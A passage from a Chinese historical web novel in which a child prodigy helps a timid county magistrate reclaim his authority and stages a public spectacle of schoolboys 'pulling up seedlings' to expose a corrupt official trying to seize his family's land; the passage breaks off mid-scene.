县衙的财政权,中层官员罢免权,都绕过了县令,由委员会来决定。 相当于县令这个职位,被完全架空了。 再然后,倒霉蛋大川迷迷糊糊来上任。 换个有手段的,自然新官上任三把火,想办法夺权。 堂堂县尊手中无权,岂能行? 但大川一怒之下,呃……怒了一下。 也难怪会被赵志骑脸贴大。 就目前这个情况来说,赵志比叶怀峰更像是县太爷。 崔岘一边听,眉头越蹙越紧。 有点难搞啊。 可当听到‘大酒楼二把手明年要调遣走了’时,他眼睛顿时亮起来,道:“有了!” 叶怀峰闻言激动道:“岘弟,你快说。” 崔岘笑的意味深长:“这个法子,放别人身上不见得好使,放你身上,指定能行。” “明日,你直接去找大酒楼的东家,狠狠状告一番大酒楼的二把手。新上任的菜鸟,别的不会,告状你总会的吧?” “大酒楼的二把手,明年就要走了,自然不想节外生枝。” “必会先对你好言相劝,然后私下威逼利诱,让你安生点。” “你且撑住了,拿出愣头青的架势,不管他说什么,你就要告状。大酒楼告不赢,就去更大的酒楼去告!一直告,告不死他!” “他明年就要调任升迁,肯定不敢由你去告状。人未走茶先凉,他既要走,你也不必担心跟他撕破脸。” “正所谓,乱拳打死老师傅。你知道大酒楼二把手现在最怕什么人吗,就怕你这样的。” “这是你目前唯一的机会,我劝你最好把握住了。” “不然拖到新的大酒楼二把手上任,接了下你小酒楼的管辖权,你就一点机会也没了。” 啊? 这……能行吗? 叶怀峰万万没想到,会等到一个如此简单粗暴的办法,迟疑道:“可是做人留一线,日后好相见。彻底撕破脸的话,会不会招来报复?” 崔岘眨眨眼,做了个抹脖子的动作:“那就让他没有以后相见的机会。” 叶怀峰满脸惊骇。 便见崔岘哈哈大笑:“开个玩笑,你还当真了。你且坐稳东家的位置,日后见与不见,怕他个鸟。” 此话,让陈氏、老崔氏齐齐皱眉。 崔岘反应过来,乖巧一抿嘴:“我是说,怕他作甚,嘿嘿。” 叶怀峰见状反应过来—— 眼前运筹帷幄之人,还是个说浑话会被长辈管教的孩子。 但就是这样一个孩子,竟想出一个让他去跟同知大人撕破脸夺权的辛辣办法! 叶怀峰一边震惊于崔岘的多谋善断。 一边将对方刚才那番话,细细复盘揣摩,越揣摩越觉得心脏砰砰砰加快跳动。 此法虽险,但,胜算颇大啊! 一旦夺权成功,赵志那厮便再也不能如先前那般猖狂。 饭桌上。 崔岘看着脸色踌躇不定的叶怀峰,笑眯眯吃饭。 夏夜凉风吹进堂屋。 油灯随之闪烁。 灯光照耀在他身上,忽明忽灭。 旁边崔钰怔怔的看着运筹帷幄、一切尽在掌握之中的阿弟,震撼到无言。 他想起学堂夫子教育学子作比喻描述的一句话: 于无声处听惊雷。 方才阿弟和县尊大人这番谈话,看似在饭桌上轻松随意。 甚至崔家人都没有多想,还真以为是在聊酒楼生意。 唯有知道所有内情的崔钰看懂了。 阿弟借力打力,由县衙到府衙,铸起一柄锋利铡刀—— 朝赵志斩了下去! 63、大鱼上钩了 在崔岘家用过饭的次日。 叶怀峰决定出击。 他深吸一口气,穿上县令官袍,抱着‘壮士一去兮不复还’的心态,去了知府衙门。 直至很多年后,叶县令每每想起此事,都觉得自己异常神武、英勇。 然而他不知道的是。 同一时间。 伏牛巷,去族学的路上。 崔钰面色微红,满脸忍俊不禁的复述昨夜饭桌上的名场面:“那县尊老爷可憨啦,一开始不愿意跟阿弟称兄道弟。” “后来为了向阿弟请教,忍住羞耻期期艾艾喊了一声岘弟。” 裴坚四人听得捧腹狂笑不止。 庄瑾笑嘿嘿道:“我叫你岘弟,县尊老爷也叫你岘弟。那岂不是说,我跟县尊老爷也是兄弟咯?” 高奇一摆手:“都是兄弟,好说好说。回头去县衙,找咱兄弟讨杯热茶喝。” 听到这话。 四位少爷互相对视,又开始贱兮兮的笑。 小男孩的快乐,就是这么简单。 崔岘也跟着几人一起闹腾。 等快到族学的时候,他低声道:“大哥,几位兄长。不出这几日,我就要回河西村一趟。” “你们做好心理准备,不管发生什么事情,都莫要慌乱。咱们按照计划行事。” 听闻这话。 小少爷们浑身一震,表情都跟着严肃起来。 裴坚也压低声音询问道:“要准备动手了?” 崔岘点点头。 有时候想想,这件事真的很疯狂。 他们这群毛头小子,竟准备把一位权势滔天的县丞拉下马。 ……要是真成功了,这件事,兄弟们能吹一年! 但裴坚想了想,又认真交代道:“岘弟,大哥知道你聪慧,从不做没把握的事情。” “但大哥还是要交代你一句,尽力而为。” “此事能成自然是好的,失败了,也不必畏惧。你只管保全好你自己,保全好家里人。” “其余的,放心交给大哥,交给裴家。” 庄瑾、李鹤聿、高奇三人,也纷纷表示赞同。 有他们四家压阵,或许不见得能除掉赵家。 但一定可以护住崔岘一家周全。 崔岘闻言心中暖意盎然,他轻笑道:“大哥,几位兄长,你们放心。我知道的,我不是一个人在战斗。” “这几日我走后,还得需要你们出力帮忙。你们附耳过来,且听我说。” 几人赶紧凑过来。 等听完崔岘的计划后,饶是裴坚四人胆大包天惯了,此刻都有些脸色发白。 这……玩的是不是有点太大了? 李鹤聿喃喃道:“这么玩,吴老头会不会被咱们气疯掉。” 裴坚非常笃定:“一定会疯的!说不定也会像赵耀祖的夫子那般,连夜搬家回乡下去了。” 庄瑾咽了咽口水,忐忑问道:“岘弟,你确定此事能行?吴老头虽然不做人,但咱们也没必要把他往死里坑。” 正当几人鬼鬼祟祟商议的时候。 刚好在族学门外,碰见了吴清澜。 高奇眼尖,第一个瞧见吴夫子,大声打招呼:“夫子好!” 其余几人吓得一哆嗦,赶紧跟着乖巧行礼。 而后脚底抹油,心虚开溜。 吴夫子看着难得乖巧的几位少爷,再回想他们几人最近格外用功读书,欣慰道:“善,大善呐!” 另一边。 南阳知府衙门里,也出了一件大事儿。 县令大人叶怀峰,当着全知府衙门官员的面,狠狠告了吴同知大人一状! 直言对方僭越弄权,坐着同知的位置,还监管着县令的差事。 甚至当场脱下官袍,对吴同知说‘你干脆两件官袍一起穿吧’。 此言一出,满知府衙门哗然。 各路官老爷们瞪大眼睛,兴奋吃瓜。 好家伙,直接贴脸开大啊! 听闻新任县令年纪小,是个愣头青,可这未免也太愣了点! 众目睽睽之下,吴同知直接被架在火上烤,一点准备都没有。 知府大人自是不愿看到这场闹剧,将二人狠狠一番斥责,让他俩私下解决。 说是私下解决。 但很多人可都听到了,在同知大人的衙房里。 叶县令声音洪亮,十分决然:“威胁我,你是不是在威胁我?” “别说那些废话,老子第一次当官,不懂规矩,只懂道理。” “你想穿两件官袍,那我就找知府大人告你!告不赢,我就去开封府告你!还不行,我就进京去吏部告你!” “总之,我告不死你!” 嘶。 凡是听到这话的人,都在倒抽冷气。 这是得多愣啊! 但听完这场谈话,全知府衙门都知道了——这位愣头青叶县令,不好惹,以后见他绕路走。 不出意外,吴同知服软了。 他明年就要升迁调任,哪里敢在此时被抓住这么一个严重的把柄? 真要闹到开封府、闹到吏部,他这官位也算是做到头了。 当天。 吴同知交出了手中的权柄,管控县衙的‘委员会’就此解散。 在一帮官员侧目的注视中,愣头青叶县令雄赳赳气昂昂走出府衙。 然后…… 在没人注意的角落嘿嘿攥拳激动傻乐。 他真的成功了! 原来……波云诡谲的政治斗争,和骂街撒泼也没什么区别啊。 想到这里,叶怀峰又开始庆幸,还好自己遇见了崔岘! 此子,当真有大智慧,料事如神,运筹帷幄! 虽然只有八岁—— 不,什么八岁。 他就是我异父异母、亲如兄弟的好弟弟,岘弟啊! 知府衙门发生的事情,很快便传到县衙。 无数人脸色剧变,都认清了一个事实:衙门马上要变天了。 刘主薄、马典吏一看情况不对,立刻溜之大吉,观望后续。 赵志气的恨不得去把叶怀峰生撕了。 可,失去权柄后,他现在也无法再像先前那般,随意怠慢叶怀峰了。 好在,赵家还是南阳乡绅之首。 叶怀峰就算有权,也拿不下他赵志。 当叶县令大闹知府衙门的时候,仲景巷里,也发生了一件小事。 崔老头不死心,近日一直在鬼鬼祟祟,打探老崔氏家的秘密。 结果还真让他找到了好机会! 这日,不知为何,老崔氏的大孙女崔璇,独自在巷子口徘徊。 那大馋丫头,一直盯着巷子外一家烧鸡店,疯狂流口水。 崔老头一咬牙,花钱买了只烧鸡,乐呵呵递过去,语气亲昵:“丫头,我问你个……” 崔璇双眼冒光,接过那烧鸡二话不说就开吃。 呃。 崔老头继续道:“我问你个事儿。” 崔璇说:“没吃饱,吃饱了就说。” 崔老头忍住肉疼,又给她买了一只。 两只烧鸡下肚,崔璇打了个饱嗝:“我有点犯困,回家了。” 崔老头:? 他好说歹说,又买了一只烧鸡,才留住这大馋丫头,赶紧问道:“听说你有个弟弟,读书很厉害,你知道是因为什么吗?” 这次崔璇乖乖道:“祖母说,是因为我家田地风水好,冒了青烟。她把阿弟的生辰八字埋在地里,阿弟就变成了厉害的天才。” 啊? 崔老头愣住。 趁着他愣神的功夫,崔璇跑了。 但崔老头想了想,小孩子总不会撒谎。 难不成老崔氏真靠那几十亩风水宝地翻身啦? 不管了,先把这事儿禀报给赵县丞吧。 听说赵县丞家里也有个天才孙子,当官的都很是信风水,指不定能捞一笔呢! 因此,崔老头去了赵府。 赵志被夺权,本就心中愤怒烦躁,正在家和孙子用饭。 等崔老头进来,把老崔氏家‘风水田地养天才’的事情一说。 赵耀祖当即激动道:“我说那小子才八岁,就能作诗!原来是家里有块宝地在镇着。” “祖父,快将崔家那田地夺过来!再把孙儿的生辰八字埋进去,孙儿马上也会变成天才哈哈哈哈。” 愤怒会让人失去理智。 赵志本就气儿不顺,刚好老崔氏一家不开眼招惹到他。 不管是不是风水宝地,先夺过来再说。 因此赵志冷哼一声:“乖孙放心,祖父马上去帮你办!纵使被那姓叶的夺了权,但祖父我收拾一个小小崔家,还不是手到擒来。” 64、揠苗助长? 知县、知府衙门里的风波,和普通百姓关系不大。 但今日的崔家,却出了个天大的好消息。 崔伯山、崔仲渊兄弟两人,再次去县学尝试入学。 结果这次,人家二话不说,直接同意了! 顺利的简直令人难以置信。 崔伯山、崔仲渊兄弟二人晕晕乎乎回到家。 碰巧遇见拎着好几斤猪肉、两壶黄酒登门的叶怀峰。 叶怀峰笑呵呵道:“来得早不如来得巧,刚好有酒有肉,替两位兄长庆贺一番。” 崔仲渊轻咿一声:“大川,你怎知道我们进了县学?” 叶怀峰打了个哈哈:“这事儿我当然不知。此次登门,主要是为了感谢岘弟,庆祝我夺回酒楼经营权。” 奥。 两兄弟不疑有他,三人一起进了院子。 老崔氏听说后,激动之情溢于言表:“好,好啊!我两个儿子,在县学读书。两个孙子,在裴氏族学读书。” “以后啊,都有大出息。” 叶怀峰闻言,差点没被自己口水呛到。 崔岘竟在裴氏族学读书? 他隐约记得,自己本月似乎有个要去裴氏族学‘教化学子’的公务。 呼,好险好险! 看来这裴氏族学,暂时不能去了。 而且提起‘教化学子’,叶县令就有些嘴中发苦。 按道理来说,治下出了一位崔岘这样的神童,他必定好生教化,以作升迁之履历。 问题是,他现在左一个‘岘弟’,右一个‘岘弟’的叫着。 怎么好意思以县尊的身份,跟崔岘摊牌? 实在好生羞耻啊! ……还是继续把马甲捂紧,能瞒一日是一日吧。 崔家,餐桌上。 崔岘举起茶杯,笑道:“恭喜大川兄夺回酒楼经营权,弟弟以茶代酒,祝你早日将那不听话的二把手拿下,彻底坐稳东家的位置。” 叶怀峰喜滋滋回敬了一杯。 而后期待道:“岘弟,依你之见,为兄真的能拿下那二把手吗?” 崔岘笃定道:“自然可以,大川兄,你如今就缺一股东风。时机到了,自然能拿下那人。不过嘛……” 叶怀峰问道:“不过什么?” 崔岘笑眯眯道:“不过到那个时候,说不定大川兄你,又不想真拿下那二把手了,也未可知。” 怎么可能! 叶怀峰以为他是在开玩笑呢,跟着傻呵呵一起笑。 次日。 崔伯山、崔仲渊兄弟二人去县学入学。 临行前。 崔岘交代道:“大伯、父亲,你们入学的时间刚刚好。不出意外的话,赵家很快就会对我们出手了。” “届时,你们二人在县学里,见机行事。” 啊? 崔仲渊闻言紧张道:“岘哥儿,你说,为父该如何帮上忙。” 但崔岘却笑道:“莫怕,等事发的时候,父亲和大伯,帮忙带个路就可以了。” 等父亲、大伯入了县学。 崔岘照旧去裴氏族学读书,每日获得吴夫子大量夸赞,和赏票、积分。 恍若没事人一般。 而崔家人,以及四位小少爷们,则是越来越沉不住气,每日都在焦急等待。 直到三日后的晌午。 河西村里长气喘吁吁来到仲景巷,敲开了崔家的门,急切道:“嫂子,你怎地惹上了赵家啊!” “那赵家派人来河西村送话,说要用一文钱,买下你家三十亩的田地。” “若……若是不同意,就把你家男丁,全送去服徭役!现在这事儿,全村都闹得沸沸扬扬。” “你看,要不你跟我回去一趟吧!” 来了! 听闻这话,老崔氏先是心头一震。 随后迅速进入状态,大声哀嚎:“哎呦我的娘!我不活啦,我不活啦!赵家欺人太甚呐!” 崔家两个儿媳妇也跟着哭,一副天塌了的表情。 里长见他们哭的凄惨,唏嘘不已。 本以为崔家发达了,怎地一转头,竟又惹到了赵家。 世事难料啊! 当日。 崔岘告假,同一家子人哭嚎着,跟里长一起急急回了河西村。 回去之前,崔岘看向裴氏族学方向,心中想着—— 大哥,这场大戏,正式开演。 搭戏台子一事,我可就交给你了。 仲景巷。 崔家哭嚎的声音,惹来各家邻居出来张望。 崔老头听到动静后,在自家幸灾乐祸的笑。 林差役见状有些不安,没忍住问道:“岳丈,崔家出事儿,该不会跟你有关吧?” 崔老头脸色顿时拉下来:“胡说八道什么,跟我有什么关系!” 林差役这才松了口气。 稍晚一些的时候。 崔家人终于返回河西村。 一大帮村民们过来询问情况。 老崔氏和两个儿媳妇抹着眼泪,甚至连家都没回,直接去了田里。 六月底才播种完。 如今一个月过去,田地里一片绿油油,庄稼长势喜人。 多好的田啊! 可惜了,竟然被那赵家用一文钱买去! 村民们见老崔氏哭的凄惨,一边怒骂赵家,一边也生出兔死狐悲的惧意。 赵家,惹不起啊。 在一片怒骂声、哭声当中。 便见崔家岘哥儿突然冲进田地里,使劲拔苗。 里长奇怪道:“岘哥儿,你这是作甚?” 崔岘抬起头来,一本正经道:“我在书上看到,拔秧苗可以助庄稼生长。赵家欺人太甚,盯上了我家的田地。” “我想让庄稼快些成熟,把粮食收了,好降低自家损失。” 啊? 听闻此话,村民们神情瞠目,讷讷无言。 若非现在崔家现状凄惨,他们真的想说一句—— 这孩子读书读傻了吧! 第二日。 老崔氏‘屈服’了,让里长帮忙传话,表示同意卖田,求赵老爷开恩,莫要把崔家男儿送去服徭役。 听闻此事,赵志冷笑一声,算这崔家识趣! 赵耀祖欢呼道:“好哦好哦,祖父,我们这便去河西村,将我的生辰八字埋进地里去吧。我要变成天才咯!” 赵志虽不信这事儿,但为哄孙子开心,自然满口答应:“听乖孙的。” 于是。 赵家祖孙二人,乘坐马车赶往河西村。 他们没发现。 有个年幼的孩子,一直在赵府盯着,瞧见赵志出门后,立刻转身小跑着报信。 裴氏族学。 今日岘弟和崔钰没有来上课,裴坚几人心脏一直都跳动的很厉害,直觉是‘事发’了。 果然,当听到赵志祖父二人去了河西村。 裴坚四人当即决定,开干! 他们的任务,是替岘弟‘搭戏台’。 再好的戏,想要开演,也得需要一个大大的戏台子,吸引大量的观众入场。 涉及‘士农工商’,老少咸宜,既能让田间老翁捧腹摇头,又能让儒林士子直呼荒谬。 要俗的彻底。 又雅的别致。 得引发各个群体兴趣,好奇。 然后拉出一条‘舆论火线’,‘轰’的一下在整个南阳县城里熊熊燃烧。 甚至闹到最后,县尊、府尊都得亲自出面,来扑灭这场舆论之火。 否则,便要担上一个‘教化失责’的罪名。 #著写《虹猫》《咏鹅》的八岁神童一夜之间沦为庸才,竟号召无数稚童,去自家田地揠苗助长,帮助庄稼早日成熟,痴心妄想提高粮食产量# 这个话题,够不够劲爆荒谬? 族学里。 裴坚深吸一口气,大声道:“同窗们!且听我说,岘弟遇到了麻烦,有一事,需要咱们帮忙!你们可愿意?” 什么? 崔岘遇见了麻烦? 一帮学子们闻言,纷纷围过来关切询问。 如今,崔岘在族学里,那可是‘粉丝无数’的。 便听裴坚道:“岘弟读圣贤书悟道,得知拔秧苗,可以让庄稼早日成熟!今日,我们一起前往河西村帮忙!” “不仅是咱们裴氏族学。你们现在,去各个族学调人,凡是能喊来的朋友,全都喊来!” “我们从族学出发,一路沿街喊口号,要让所有人都知道,咱们是去干什么的!” 啊? 听到这话,学子们神情一滞,简直不敢相信自己的耳朵。 一位学子迟疑道:“这不是……揠苗助长吗?夫子说过,这是错误的。” 裴坚闻言大怒:“岘弟都说了,此法有用,难道你比岘弟还天才?忘记上次《咏新竹》怎么赢得?小心吴夫子回来,狠狠痛批你只会读死书。” “这一次,岘弟仍旧是跟别人比试学问的!你们难道忍心看他输?” 那学子脖子一缩,不敢吭声了。 他怎敢跟崔岘比学问? 既然不对仗的《咏鹅》都能成经典,或许……揠苗助长真能管用呢? 而且,不能再让崔岘莫名其妙继续输了! 否则吴夫子又要骂人。 庄瑾、李鹤聿、高奇三人纷纷响应。 学子当中,还有一部分裴坚特地安排的‘托儿’来附和。 但凡换一群成年人,这场子都搭不起来。 可他们是年幼的孩子,总能做出超乎大人预料、且匪夷所思的事情。 于是,一帮半大小子们轻易被带偏,出现了有趣的‘皇帝的新衣’现象。 没人敢再质疑此事的荒谬。 大量裴氏族学的学子出去‘呼朋唤友’,一群十岁左右的半大小子们汇聚起来,准备去‘干一番大事儿’。 不出意外。 这一天,整个南阳县城都被惊动了。 一只无形的手,挑起星星之火,自年幼的学子群体当中迸发,准备燎原。 65、作诗《悯农二首》(上) 南阳县城。 街道上。 由裴坚、高奇四位少爷带头,数十位身穿襕衫的学堂小学子们,成群结伴经过。 这样一幕,自然引来无数路人观望。 便见那群半大学子们,一边走,一边煞有介事谈论商议‘干大事’。 “待会儿到了河西村,咱们看见庄稼,就狠狠往上拔。” “但不能全拔出来,庄稼会死的。” “对对,拔一半就好。今日拔完,过两日庄稼就熟哩。” 听到这话,很多路人简直不敢相信自己的耳朵。 乖乖,这群‘小先生’们读书读傻了吧! 真要是任由他们这样干,那田地里的庄稼,可不就遭殃咯。 一位上了年纪的老汉赶紧劝导:“小子们,可莫要胡来。庄稼在地里长得好好的,你们拔它,会让庄稼死在地里的!” 裴坚闻言,当即站出来,大声道:“老汉,你没读过书,你不懂种庄稼。” “你知道写出《虹猫七侠传》话本,和作诗《咏鹅》的八岁神童崔岘吗?他是我们的同窗。” “他参悟了圣贤书,说拔苗可以让庄稼早日成熟!” 高奇、李鹤聿、庄瑾三人连忙附和,把节奏带起来。 一帮半大小子越发有底气,竟嘻嘻哈哈嘲笑老汉‘不懂务农’。 更多的小学子,闻风从各个族学赶来,加入队伍。 他们宛如‘游街’般,浩浩荡荡穿过闹市。 引来无数人侧目。 那被指责‘不懂务农’的老汉,鼻子都快气歪了:老头子我伺候了一辈子庄稼,竟然说我不懂务农。 你在教我种地? 岂有此理! 但‘揠苗助长’事件,实在太典型了。 凡是听说此事的人,甭管年迈的老叟、亦或者未开蒙的妇孺,都在捧腹大笑,谈论此事。 今日南阳县城的百姓凑到一起,聊的话题都是: “哎,听说了没?那几十上百个小先生,要去地里拔秧苗让庄稼早熟哩。也不知河西村在哪里,他们的田地要遭殃咯。” 甚至有好事者,还真跟上那群小先生,准备去凑热闹。 再加上《虹猫》、《咏鹅》的名头。 这把火,自然也从市井,烧到了南阳士林文人群体当中。 “揠苗助长?荒谬!” “那崔岘先著《虹猫》又作《咏鹅》,本以为南阳出了位神童,结果竟能干出如此荒谬之事!” “可笑,实在可笑。” 一开始,众多文人们只是怒骂痛斥。 直到—— 自家仆从、夫人们哭嚷着来报信:“老爷,不好了老爷!咱家小少爷去拔秧苗了!” 什么? 这些文人们顿时慌了! 尤其是南阳县学里,许多有童生功名的读书人,脸色齐齐发白。 家里的孽子,太能闯祸。 真参与了揠苗助长一事,那以后的仕途就全完了。 一片慌乱中。 新入学的崔伯山、崔仲渊兄弟二人冷静站出来,道:“诸位同窗莫慌,我知道河西村在哪里,我们带大家过去。” 其余学子闻言狠狠松了口气,并对这崔家兄弟好感倍增。 关键时候,这两兄弟是真给办事儿啊。 于是。 一大帮县学读书人们,或惦记自家小子、或纯粹看热闹,浩浩荡荡结伴赶往河西村。 事情越闹越大。 眼看全县城都在议论此事。 沿街巡逻的差役们察觉到不对劲,慌忙向上官禀报。 知府大人最先收到消息,先是勃然大怒,随后火速溜之大吉:“本官有些私事要办,今日休沐。去找吴同知,看他怎么处理。” 官场老油条都知道,凡是涉及‘公众舆论’事件,最为难搞。 因为完全不可控。 而且知府大人敏锐察觉到,这事儿绝非表面那般简单。 先把事儿甩出去,让下面人趟趟浑水,试试深浅,再做定夺。 巧了。 知府大人这边刚‘休沐’。 吴同知大人那边,说是突然拉肚子,去就医了。 于是这个案件,便被丢到了县衙。 叶怀峰县令刚刚夺权成功,正准备大施拳脚一番,听闻属下来禀告此事,冷汗都流了下来。 一群年轻学子结伴去揠苗助长? 老天! 这要是真让他们拔个几亩地,自己这位父母官,绝对会沦为士林官场的笑柄。 “看,就是那叶县令,他治下的稚童学子,竟干出揠苗助长的荒唐事!” 单是想一想,叶县令都觉得头皮发麻。 若要是较真起来,这完全是一项‘教化失责’的大罪啊! 此时,附郭县令的苦楚便来了。 好处分不到,有事你得去顶上。 叶县令慌忙去了知府衙门,结果知府大人不在,同知大人也不在。 没辙,叶县令只能坐上轿子,急急朝着河西村赶去。 咿?河西村? 怎地听起来有些耳熟呢? 叶县令坐进轿子,苦苦思索,总觉得这地名有些耳熟。 下一刻,便听属下说道:“县太爷,属下方才又去打探一番,总算是把事情打探清楚了!” “揠苗助长一事,全因那《虹猫》《咏鹅》作者,崔岘而起!现在那帮学子们,都是去河西村,帮崔岘家拔苗的。” 叶县令:??? 有那么一个瞬间,他冷汗都流了下来。 甚至想跟属下说,算了咱别去了,咱们回家吧。 他捂了那么久的马甲,怎地今日猝不及防之下,就要暴露了! 而且,岘弟——啊不是,崔岘。 崔岘他能干出来‘揠苗助长’的愚蠢荒唐事?怎么可能! 叶怀峰就算反应再慢,也品出来其中肯定有什么玄机。 但他参不透! 好了这不是重点。 重点是,他一会儿要是穿着官袍,众目睽睽之下跟崔岘一家见面,得多尴尬羞耻啊。 见叶怀峰神情阴晴不定,属下忐忑问道:“县太爷,您怎么了?” 没怎么。 就是要死了而已。 社死。 叶怀峰勉强挤出个笑脸,硬着头皮说道:“无碍,我们出发吧。” 今日这桩差事,他根本推不掉啊! 裴氏族学。 吴夫子来学堂上课,发现今日里面空荡荡,唯剩下几个学子,其余人竟都不在。 他找人一打听,整个人眼前一黑,险些跌倒在地。 将手中的戒尺握紧,吴清澜难以置信颤声道:“你们是说,崔岘向你们求救,找你们帮忙揠苗助长。然后裴坚几人响应,带全族学的人,去河西村帮忙了?” 得到肯定答案后。 吴清澜深吸一口气,罕见说了脏话:“放屁!简直一派胡言!老夫宁肯相信自己干出揠苗助长这样的荒唐事,都无法相信我的天才学生能干出此事!” 话虽如此,吴夫子还是气得不轻。 他一甩袖子,着急忙慌往河西村赶去。 与此同时。 县太爷的官轿,和一众衙门差役,浩浩荡荡出发。 显然,是去处理那帮‘揠苗助长’的小先生们去了。 这下,城中无数百姓纷纷来劲了,呼朋唤友跟上去,准备强势围观新上任的县太爷‘断案’。 南阳城外,老崔氏去过的那个村子。 那个曾经在赵志府外哭诉,和崔钰有过交谈的老妪,回想先前老崔氏对自己的交代,抹着眼泪敲开一家又一家村民的大门,哭道:“乡亲们,我们有救了,我们有救了啊!” “今日,有人会在河西村,替我们做主,拿下赵志那贪官!” “我们过去,亲眼瞧瞧赵志的下场!” 听闻这话。 无数面色枯槁、眼神麻木的百姓们,眼睛中迸射出希望与恨意。 戏台搭好,各方齐聚。 好戏,开唱! 66、作诗《悯农二首》(中) 河西村。 今日便是赵家前来,‘买走’老崔氏家田地的日子。 村民们心中愤慨,却又无力阻挡。 而老崔氏,则是在两个儿媳妇的搀扶下,带着岘哥儿、钰哥儿,在田地处等待着。 一家人神情紧绷。 其余村民们以为他们在难受呢,纷纷上前来安慰。 却不知,崔家人担心的,是接下来能否彻底扳倒那赵志啊! 正当老崔氏心中忐忑的时候。 她察觉到,岘哥儿伸出手来,握住了自己的手。 祖孙二人对视,崔岘眼睛里尽是笃定。 这让老崔氏心头安稳了许多。 此时。 有同村人咬牙道:“赵家来了!” 便见一辆奢华的马车,带着数十位凶悍家仆,嚣张浩浩荡荡赶来。 甚至到了田地处,仍旧横冲直撞,竟也不勒马。 惹得无数村民惊恐避让。 崔岘看着这一幕,眼神发冷。 马车停下后,赵耀祖第一个从轿子里钻出来,双眼冒光:“就是这块田地吗?快,快把我的生辰八字埋下去!” 说完后。 赵耀祖这才注意到崔岘。 他顿时洋洋得意道:“哟,又见面了。当日你不是好生猖狂吗,我看你今日还能不能笑得出来!祖父,快把这晦气一家子赶走,不许他们玷污了我的风水田地!” 听闻这话,村民们都神情愤恨。 赵家,太嚣张了! 那赵志紧跟着走出轿子,居高临下的打量崔家人。 他做了多年县丞,权势滔天,浑身带着官威。 百姓们吓得脸色发白,不敢与他对视。 赵志的目光转了一圈,最后落在崔岘身上,问道:“你便是崔岘?” 崔岘怡然不惧,冷冷和他对视:“是我,如何?” 赵志颇有些惊异,接着嗤笑道:“倒是好胆,日后说不定还真能是个人物。可惜,你们没有日后了。” “签了这份田地买卖契书,然后你们一家,去徭役场开荒吧。” 什么? 听闻此话,周围村民一片哗然。 里长颤声道:“县丞大人,您不是说,只要崔家同意卖地,便会放过他们吗?” 赵志闻言脸色骤然绷紧,大声斥责道:“放肆!本官何时说过这样的话?这崔家卖地全凭自愿,去徭役场开荒,也是走的正常衙门章程。” “你敢平白污蔑本官青白?” 里长被这番夹枪带棒的话震慑住,双腿一软跪倒在地,哆嗦着不敢再多说一句话。 崔家人更是被气的脸色铁青。 老崔氏颤抖着身子,愤怒道:“你出一文钱,便要买我家三十亩田地,还说全凭我家自愿?这天下,竟有这般自愿一说?” 面对老崔氏的质问,赵志冷笑一声,不屑回应。 他堂堂县丞,何须跟一乡野老妇费口舌。 赵志身后。 一位属下做了个扬手的动作:“来人,将这崔家人拿下,除去户籍,送去徭役场!” 有道是:斩草除根。 赵志自是懂得这个道理。 崔家人目露惊骇焦急。 眼看这群赵家的家仆们就要动手,崔岘迅速稳住心神,直直看向赵耀祖,然后又佯装急切回头看向自家田地。 万幸! 他就怕赵志不讲道理,直接把事情做绝,所以准备了拖延时间的对策。 果然,赵耀祖瞧见崔岘的动作,大声道:“祖父且慢!崔岘,你那生辰八字,究竟埋到哪里去了?速速去挖出来!” 崔岘问道:“我告诉你后,你会放过我家吗?” 赵耀祖眼珠一转:“自然!” 于是,崔岘道:“好,我带你去找。” 赵家的家仆们见状,没有第一时间拿人。 赵志在旁边看着,未置可否。 而赵耀祖,则是亲自跳下马车,在两个家仆的陪伴下,跟着崔岘去寻找埋在地里的生辰八字。 可是崔岘找了许久,这里看看,那里瞧瞧,愣是找不到。 赵耀祖急切道:“究竟在哪里?” 崔岘不慌不忙道:“这么大的田地,怎能轻易找到?我当时埋生辰八字的地方,可是冒青烟了!” 赵耀祖一听,表情更加迫切:“那还等什么,你赶紧找啊!” 田地外。 赵志等待许久,仍旧不见崔岘和小孙子回来,眯起眼睛朝那边打量一番后,突然眉头一跳。 他怎么觉得,那崔家小子,正带着自己小孙子故意绕圈子呢。 拖延时间? 赵志不信崔家能翻出什么风浪。 但为避免夜长梦多,还是早些把此事了断。 因此。 在无数村民惊骇的注视下。 赵志一甩袖袍,冷声道:“拿下崔家,让他们早早签了买卖契书,送他们去该去的地方吧。” “是!” 他话音落下,数十位凶悍的赵家家仆轰然响应,准备先将崔家人拿下。 陈氏、林氏惊恐的把崔钰、老崔氏护在身后。 河西村的百姓们,甚至吓得闭上眼睛。 田地里。 崔岘似有所感,猛然抬起头。 也就是在这个时候—— 哐哐哐! 马蹄声震天。 十几辆马车浩浩荡荡从远处赶来。 最前面的马车上,裴坚坐在最前方,神情愤怒,声音带着怒吼:“姓赵的,你敢动我小弟,老子绝对跟你没完!” 原来,为避免无法及时赶到。 裴坚四人出钱,雇佣了十几辆马车,带着上百位学子,乘车而来。 好在,赶上了! 马车在田间地头先后停下,激起一阵阵尘土。 而后。 裴坚一马当先冲下来。 高奇紧接着道:“兄弟们,计划有变!《虹猫蓝兔七侠传》的作者被欺负了!” 李鹤聿:“眼前这帮人,就是如黑心虎一般的坏人,是来抢夺崔岘家田地的!所以崔岘才想呼吁我们来帮忙拔苗,提前收割粮食。” 庄瑾振臂一呼:“但仅仅拔苗是不够的!我们要帮忙保护崔岘,向虹猫少侠学习,对抗邪恶势力!我保证,回去后,今日参与此事的兄弟,人手送一个虹猫摩喉罗。” 天呐! 虹猫摩喉罗! 而我们此刻,正在化身正义的虹猫少侠! 一帮半大小子们激动的脸色通红,纷纷跳下车,朝着崔岘家田地跑去。 “崔岘兄,我来保护你!” “可恶,这些坏人是谁?竟然敢这般猖狂!” “且看我回去后,告诉我爹!” 赵志愣住了。 赵家的家仆们也愣住了。 河西村百姓们看的目瞪口呆。 而老崔氏等人,同样看傻了眼。 虽然知道岘哥儿肯定会搬救兵来,但这群救兵……是不是有点过于年幼了? 便见一群穿着襕衫的小学子,奋不顾身冲向崔家田地。 方才还趾高气昂的赵耀祖,吓得屁滚尿流,在家仆们的护送下开溜。 裴坚几人怒气冲冲瞪向他。 但此事无暇顾及赵耀祖,大家来到田地里,将崔岘团团围住。 裴坚看向崔岘,紧张问道:“怎么样岘弟,没事吧?” 看得出来他是真紧张,一边喘气,额头上冒了很多汗。 庄瑾三人也一副心有余悸的表情。 而一群赶过来的年轻小学子,则是神情或愤怒,或好奇的打量这位最近如雷贯耳的《虹猫》《咏鹅》作者。 “你便是崔岘兄?” “好生厉害!” “外面那些坏人是来欺负你的吗?” “崔岘兄,你当真认为,拔秧苗可以让粮食早熟?” 面对一群年幼学子们七嘴八舌的询问。 